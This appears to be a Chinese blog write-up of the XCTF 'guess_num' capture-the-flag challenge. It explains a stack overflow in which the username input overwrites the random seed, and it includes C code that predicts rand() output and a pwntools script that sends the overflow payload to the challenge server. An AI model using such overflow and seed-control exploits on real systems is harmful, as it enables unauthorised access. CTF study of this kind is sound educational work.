0
点赞
收藏
分享

微信扫一扫

PWN做题笔记4-guess_num

修炼之士 2022-04-19 阅读 31
系统安全

原题地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

如图,程序为64位ELF文件

 安全机制全部开启,不太可能是注入地址

程序的功能为输入用户名,之后猜10个数,全部猜对可以获取flag

 main函数用户名存在注入点

查看栈结构可以发现用户名可以覆盖随机数种子

 构造输入:b"A"*(0x20)+p32(0),随机数种子为0

以相同的种子srand(0)生成10个随机数

#include <stdio.h>
#include <stdlib.h>
 
int main()
{
   
    srand(0);
    int i=0;
    for (i=0;i<=9;i++)
    printf("%d",rand()%6+1);
   
    return(0);
}

随机数为:

最终代码如下,注意sendline相关函数需要以str类型送过去:

from pwn import *
host = '111.200.241.244'
port = 61993


p = connect(host, port)
#p=process("./b59204f56a0545e8a22f8518e749f19f")
payload = b"A"*(0x20)+p32(0)
num=[2,5,4,2,6,2,5,1,4,2]
p.sendline(payload)
for i in num:
	p.sendlineafter("Please input your guess number:",str(i))
p.interactive()

如图,成功猜出10个数,获取flag

举报

相关推荐

0 条评论